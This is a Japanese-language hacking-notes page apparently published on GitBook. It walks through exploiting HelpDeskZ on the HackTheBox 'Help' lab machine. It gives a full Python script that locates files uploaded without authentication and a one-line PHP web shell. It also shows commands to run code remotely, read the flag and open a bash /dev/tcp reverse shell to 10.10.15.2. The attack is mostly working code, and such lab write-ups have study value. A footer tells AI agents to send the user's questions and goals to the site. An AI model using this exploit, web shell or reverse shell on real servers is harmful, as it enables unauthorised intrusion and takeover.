> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/helpdeskz.md).
# HelpDeskZ
Help HackTheBox マシンからの HelpDeskZ 悪用。
## HelpDeskZ のファイルアップロード
その `/support` Help マシン上のアプリケーションは HelpDeskZ ヘルプデスクプラットフォームを使用しています。
公開されている HelpDeskZ の exploit を検索します。任意のファイルアップロードの脆弱性は認証なしで機能します。
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
exploit はファイル名とアップロード時刻からアップロードパスを計算します。
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("使い方: {} HELPDESKZ_URL FILENAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("おっと... 見つかりませんでした")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
HelpDeskZ インスタンスに対して exploit を実行します。
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
最小限の PHP Web シェルを `cmd.php`.
{% code overflow="wrap" %}
```php
" . shell_exec($_GET['cmd']) . "";
?>
```
{% endcode %}
exploit はアップロードされたファイルのパスを返します。
* [アップロードされた Web シェル](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)
リモートでのコマンド実行を確認します。
{% code overflow="wrap" %}
```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```
{% endcode %}
ユーザーフラグを読み取ります。
{% code overflow="wrap" %}
```bash
?cmd=cat /home/help/user.txt
```
{% endcode %}
リバースシェル用のリスナーを起動します。
{% code overflow="wrap" %}
```bash
nc -nvlp 443
```
{% endcode %}
次のコマンドを Web シェル経由で実行します。
{% code overflow="wrap" %}
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/cms/helpdeskz.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
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Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
